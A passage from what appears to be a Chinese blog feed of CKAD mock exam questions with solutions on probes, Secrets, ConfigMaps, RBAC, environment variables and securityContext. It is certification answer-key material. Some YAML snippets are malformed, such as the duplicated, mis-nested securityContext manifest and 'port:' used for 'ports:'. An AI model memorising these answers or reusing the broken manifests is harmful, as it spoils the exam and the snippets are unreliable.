        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>修改现有的 deployment <code>probe-http</code> 增加 <code>readinessProbe</code> 探测 器，规格如下：</p><ul><li>使用 <code>httpGet</code> 进行探测</li><li>探测路径为 <code>/healthz/return200</code></li><li>探测端口为 <code>80</code></li><li>在执行第一次探测前应该等待 <code>15</code> 秒</li></ul><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/5cdcdc9a758c1ddd9d61b1039bdd96382d02d8edb5ad2f2096cb16036c713ced.jpg" alt="readinessProbe-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>编辑 deployment probe-http 添加httpget就绪检测</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">readinessProbe:</span></span><br><span class="line">  <span class="attr">httpGet:</span></span><br><span class="line">    <span class="attr">path:</span> <span class="string">/healthz/return200</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">    <span class="attr">scheme:</span> <span class="string">HTTP</span></span><br><span class="line">  <span class="attr">initialDelaySeconds:</span> <span class="number">15</span></span><br><span class="line">  <span class="attr">periodSeconds:</span> <span class="number">20</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/74800c0cd8424419e42fc5816d80ac5e9bfb4c31ec8a0e73cf5db4cdcd842a87.jpg" alt="readinessProbe-1">  </p><p>查看pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod</span><br></pre></td></tr></table></figure><p>真实考试时的 yaml 文件内容如下：</p><p><img src="https://images.hao.kim/uploads/2024/12/3a05cfc390f39d736c26d0eee176cf93b9a6d78d3d5f62ed356aad0dbbce009d.jpg" alt="readinessProbe-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 |  13. Pod 健康检查 livenessProbe</title>
      <link href="/archives/kubernetes/CKAD/livenessProbe.html"/>
      <url>/archives/kubernetes/CKAD/livenessProbe.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>由于Liveness Probe 发生了问题 您无法访问一个应用程序。该应用程序可能在任何 namespace 中运行</p><ol><li><p>找出对应的 Pod 并将其名称和 namespace 写入文件 <code>/ckad/CKAD00011/broken.txt</code> 使用以下格式</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">/</span></span><br></pre></td></tr></table></figure><p>文件 <code>/ckad/CKAD00011/broken.txt</code> 已存在</p></li><li><p>用 <code>kubectl get events</code> 来获取相关错误事件井将其写入文件 <code>/ckad/CKAD00011/error.txt</code> 请使用输出格式 <code>wide</code> 文件 <code>/ckad/CKAD00011/error.txt</code> 已存在 。</p></li><li><p>修复故障的 Pod 的 Liveness Probe 问题。</p></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/</a></p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>检查集群下 所有命名空间中的pod, 找出liveness probe问题的pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pods -A</span><br></pre></td></tr></table></figure><p>对所有namespace下的pod逐一检查，考试时，切换集群后,只会有5个pod需要你检查,不会像模拟环境里这么多</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl describe pod probe-demo -n probe-ns | <span class="built_in">tail</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7fdd63fcae6ff10f6e98860b51eb125a7867781392f1386722d07682b9016344.jpg" alt="livenessProbe-0">  </p><p>写日志到文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> probe-ns/probe-demo &gt; /ckad/CKAD00011/broken.txt</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n probe-ns get events -o wide | grep probe-demo &gt; /ckad/CKAD00011/error.txt</span><br></pre></td></tr></table></figure><p>修复</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n probe-ns get pod probe-demo -o yaml &gt; probe.yaml</span><br><span class="line"><span class="built_in">cp</span> probe.yaml probe.yaml-bak</span><br><span class="line">kubectl delete -f probe.yaml</span><br><span class="line">vim probe.yaml</span><br></pre></td></tr></table></figure><p>修改port 为命令中对应的端口8443</p><p><img src="https://images.hao.kim/uploads/2024/12/d1de717dc1587c0bcf2b11a8fe9046d0479a251d5482037536116acb685dfd43.jpg" alt="livenessProbe-1">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f probe.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n probe-ns describe pod probe-demo | <span class="built_in">tail</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/81221009121f44a6de70dccaf6d72b1ffa88853a0251b313fb45a5d8d77c89c2.jpg" alt="livenessProbe-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 12. Secret</title>
      <link href="/archives/kubernetes/CKAD/Secret.html"/>
      <url>/archives/kubernetes/CKAD/Secret.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>在 namespace <strong>default</strong> 中创建一个名为 <strong>another-secret</strong> 并包含以下单个键值对的 Secret <strong>key1:value2</strong></li><li>在 namespace <strong>default</strong> 中创建一个名为 <strong>nginx-secret</strong> 的 Pod 。 用 <strong>nginx:1.16</strong> 的镜像来指定一个容器 。添加一个名为 <strong>COOL_VARIABLE</strong> 的环境变量来使用 secret 键 <strong>key1</strong> 的值。</li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/secret/">https://kubernetes.io/zh-cn/docs/concepts/configuration/secret/</a></p><p><a href="https://kubernetes.io/zh-cn/docs/tasks/inject-data-application/distribute-credentials-secure/#define-container-env-var-using-secret-data">https://kubernetes.io/zh-cn/docs/tasks/inject-data-application/distribute-credentials-secure/#define-container-env-var-using-secret-data</a></p><p><img src="https://images.hao.kim/uploads/2024/12/d91a1ef456ba7e557ca980025421174c26a32d153ecbd847c074c9d5a2a60c42.jpg" alt="Secret-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create secret generic another-secret --from-literal key1=value2</span><br></pre></td></tr></table></figure><p>创建pod,并使用secret,</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim nginx-secret.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-secret</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx-secret</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.16</span></span><br><span class="line">    <span class="attr">env:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">COOL_VARIABLE</span></span><br><span class="line">      <span class="attr">valueFrom:</span></span><br><span class="line">        <span class="attr">secretKeyRef:</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">another-secret</span></span><br><span class="line">          <span class="attr">key:</span> <span class="string">key1</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f nginx-secret.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl <span class="built_in">exec</span> -it nginx-secret -- <span class="built_in">env</span> | grep COOL</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/330de6b752783cc18715e7cf30d771dd946e3ca05f915d14b74b28774e8463c4.jpg" alt="Secret-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 11. ConfigMap</title>
      <link href="/archives/kubernetes/CKAD/ConfigMap.html"/>
      <url>/archives/kubernetes/CKAD/ConfigMap.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>在 namespace <code>default</code> 中创建一个名为 <code>some-config</code> 并存储着以下键值对的 Configmap: <code>key3:value4</code></li><li>在 namespace <code>default</code> 中创建一个名为 <code>nginx-configmap</code> 的 Pod 。用 <code>nginx:stable</code> 的镜像来指定一个容器。用存储在Configmap <code>some-config</code> 中的数据来填充卷 并将其安装在路径 <code>/some/path</code></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/configmap/">https://kubernetes.io/zh-cn/docs/concepts/configuration/configmap/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/4ee9a62ac61923232c243635e60d176cbd64354c2e708088bd0fe5db023a958d.jpg" alt="ConfigMap-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建configmap</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create configmap some-config --from-literal key3=value4</span><br><span class="line">kubectl describe configmaps some-config</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e345167805cbc26a07501a011024f148dd60042ddc2e0829c35817d1e87945ce.jpg" alt="ConfigMap-1">  </p><p>创建pod,并使用configmap 挂载到&#x2F;some&#x2F;path</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim nginx-configmap.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-configmap</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx-configmap</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:stable</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">&quot;/some/path&quot;</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config</span></span><br><span class="line">    <span class="attr">configMap:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">some-config</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f nginx-configmap.yaml</span><br></pre></td></tr></table></figure><p>检查configmap是否挂载到了目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl <span class="built_in">exec</span> -it nginx-configmap -- <span class="built_in">cat</span> /some/path/key3</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/8775c01b874f4112c0671d161e55a013a29195702b8d930440dd01caf7466fb2.jpg" alt="ConfigMap-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 10. RBAC 授权</title>
      <link href="/archives/kubernetes/CKAD/RBAC.html"/>
      <url>/archives/kubernetes/CKAD/RBAC.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在名为 <code>honeybee-deployment</code> 的 Deployment 和 namespace <code>gorilla</code> 中的一个 Pod 正在记录错误</p><ol><li>查看日志以识别错误消息 找出错误,包括 <code>User &quot;system:serviceaccount:gorilla:default &quot;can not list resource &quot;serviceaccounts &quot;[…] in the namespace &quot;gorilla&quot;</code></li><li>更新 Deployment <code>honeybee-deployment</code> 以解决 Pod 日志中的错误。 您可以在 <code>/ckad/prompt-escargot/honeybee-deployment.yaml</code> 中找到 <code>honeybee-deployment</code> 的 清单文件</li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/">https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/</a></p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看错误日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla get pod</span><br><span class="line">kubectl -n gorilla logs honeybee-deployment-bdfd994c-chbbl</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e6373c18d94fa2ba3b249db8fed4f0ce85a3ba226c055f4a1845750c2ba5bbab.jpg" alt="RBAC-0">  </p><p>考试时，无论是不能 list pods ，还是不能 list deployments ，或者不能 list serviceaccounts ，做法都一样。</p><p>查看deployment 的sa</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla describe deployments.apps honeybee-deployment </span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c271680c2354b000b2d240c7bfe3b88dea65a2ab8d5b75b677af21de7d7ebfa1.jpg" alt="RBAC-1">  </p><p>查看gorilla下的role,rolebinding,sa 详细信息</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla describe role,rolebinding,sa</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7e8bc6eb7e7f56e01fb2b0b6524aa9cb21d6bb310b6d5ba7de419e547beb888c.jpg" alt="RBAC-2">  </p><blockquote><p>可以看到, <code>gorilla-role</code> 具有 <code>get</code> <code>list</code> 权限,  对应的sa为  <code>gorilla-sa</code> ,所以修改sa为 <code>gorilla-sa</code></p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla <span class="built_in">set</span> serviceaccount deployments honeybee-deployment gorilla-sa</span><br></pre></td></tr></table></figure><p>查看deployment 是否修改了sa</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla describe deployments.apps honeybee-deployment</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2856eb1c89e1593ad6f6745fe172722270643392e2f44349d5a6ae3427b0ebb1.jpg" alt="RBAC-3">  </p><p>检查并查看pod日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n gorilla get pod</span><br><span class="line">kubectl -n gorilla logs honeybee-deployment-d8b9685f9-bhh6s</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cbfe1fb9c3f57b54b9fb2fe9436941df792d5fb81c625e2f14ac857553da468b.jpg" alt="RBAC-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 9. 创建 Deployment 并指定环境变量</title>
      <link href="/archives/kubernetes/CKAD/deployment-env.html"/>
      <url>/archives/kubernetes/CKAD/deployment-env.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在现有的 namespace <code>ckad00014</code> 中创建一个运行 <code>6</code> 个 Pod 副本 ,名为 <code>api</code> 的 Deployment 。 用 <code>nginx:1.16</code> 的镜像来指定一个容器。将名为 <code>NGINX_PORT</code> 且值为 <code>8000</code> 的环境变量添加到容器中 然后公开端口 <code>80</code></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/inject-data-application/define-environment-variable-container/">https://kubernetes.io/zh-cn/docs/tasks/inject-data-application/define-environment-variable-container/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/b7e5b6ebe01f3cf66ef893f37fd1706a4d385339887781f265c4a232ab7bd704.jpg" alt="deployment-env-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建一个yaml模板,然后进行修改</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create deployment api --image nginx:1.16 --replicas 6 -n ckad00014 --dry-run=client -oyaml &gt; api.yaml</span><br><span class="line">vim api.yaml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0db2ea184641b3bfee8eb3b39cd9376341c1febe2afe4ecd335fd8ffd04df296.jpg" alt="deployment-env-1">  </p><p>添加如下</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">env:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">NGINX_PORT</span></span><br><span class="line">  <span class="attr">value:</span> <span class="string">&quot;8000&quot;</span></span><br><span class="line"><span class="attr">port:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b583fe9ba1a1b5c98edc00b327f28f478fb149b7258d9f36765ef32e94f16f36.jpg" alt="deployment-env-2">  </p><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f api.yaml</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 8. 配置container 安全上下文</title>
      <link href="/archives/kubernetes/CKAD/securityContext.html"/>
      <url>/archives/kubernetes/CKAD/securityContext.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>修改运行在 namespace <code>quetzal</code> 名为 <code>broker-deployment</code> 的现有 Deployment 使其容器</p><ul><li>以用户 <code>30000</code> 运行</li><li>禁止特权提升。</li></ul><p>您可以在 <code>/ckad/daring-moccasin/broker-deployment.yaml</code> 找 到 broker-deployment 的清单文件</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl explain deployment.spec.template.spec.containers.securityContext</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c2df1106fccf82c106effdca0429b75fe6ba0ab853e6ebc66f0e86e3f093bd55.jpg" alt="securityContext-0"><br><img src="https://images.hao.kim/uploads/2024/12/8d56d6be5be78072a3fde9cf7360258b4a70d071bd56da04e7d9e45e3777958b.jpg" alt="securityContext-1">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看并编辑对应的deployment</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n quetzal get deployments.apps</span><br><span class="line">kubectl -n quetzal edit deployments.apps broker-deployment</span><br></pre></td></tr></table></figure><p>在 <code>spec.template.spec.containers</code> 下添加 <code>securityContext</code></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">deployment.kubernetes.io/revision:</span> <span class="string">&quot;1&quot;</span></span><br><span class="line">    <span class="attr">kubectl.kubernetes.io/last-applied-configuration:</span> <span class="string">|</span></span><br><span class="line"><span class="string">  creationTimestamp: &quot;2023-05-24T13:00:32Z&quot;</span></span><br><span class="line"><span class="string">  generation: 1</span></span><br><span class="line"><span class="string">  name: broker-deployment</span></span><br><span class="line"><span class="string">  namespace: quetzal</span></span><br><span class="line"><span class="string">  resourceVersion: &quot;19019&quot;</span></span><br><span class="line"><span class="string">  uid: 43b31f70-9362-443a-a944-52b688bd1f46</span></span><br><span class="line"><span class="string"></span><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">progressDeadlineSeconds:</span> <span class="number">600</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">revisionHistoryLimit:</span> <span class="number">10</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">broker-deployment</span></span><br><span class="line">  <span class="attr">strategy:</span></span><br><span class="line">    <span class="attr">rollingUpdate:</span></span><br><span class="line">      <span class="attr">maxSurge:</span> <span class="number">25</span><span class="string">%</span></span><br><span class="line">      <span class="attr">maxUnavailable:</span> <span class="number">25</span><span class="string">%</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">RollingUpdate</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">  <span class="attr">progressDeadlineSeconds:</span> <span class="number">600</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">revisionHistoryLimit:</span> <span class="number">10</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">broker-deployment</span></span><br><span class="line">  <span class="attr">strategy:</span></span><br><span class="line">    <span class="attr">rollingUpdate:</span></span><br><span class="line">      <span class="attr">maxSurge:</span> <span class="number">25</span><span class="string">%</span></span><br><span class="line">      <span class="attr">maxUnavailable:</span> <span class="number">25</span><span class="string">%</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">RollingUpdate</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">broker-deployment</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">sh</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">sleep</span> <span class="string">5h</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">busybox</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">sec-ctx-demo</span></span><br><span class="line">        <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">        <span class="attr">securityContext:</span>      <span class="comment"># 添加</span></span><br><span class="line">          <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">false</span>  <span class="comment"># 添加</span></span><br><span class="line">          <span class="attr">runAsUser:</span> <span class="number">30000</span>    <span class="comment"># 添加</span></span><br><span class="line">        <span class="attr">terminationMessagePath:</span> <span class="string">/dev/termination-log</span></span><br><span class="line">        <span class="attr">terminationMessagePolicy:</span> <span class="string">File</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/data/demo</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">sec-ctx-vol</span></span><br><span class="line">      <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">      <span class="attr">schedulerName:</span> <span class="string">default-scheduler</span></span><br><span class="line">      <span class="attr">securityContext:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e7fe4f456723ede658ed05a77039cb746fde7724c1a4ea06f8257deca2941b47.jpg" alt="securityContext-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 7. 金丝雀部署</title>
      <link href="/archives/kubernetes/CKAD/canary.html"/>
      <url>/archives/kubernetes/CKAD/canary.html</url>
      
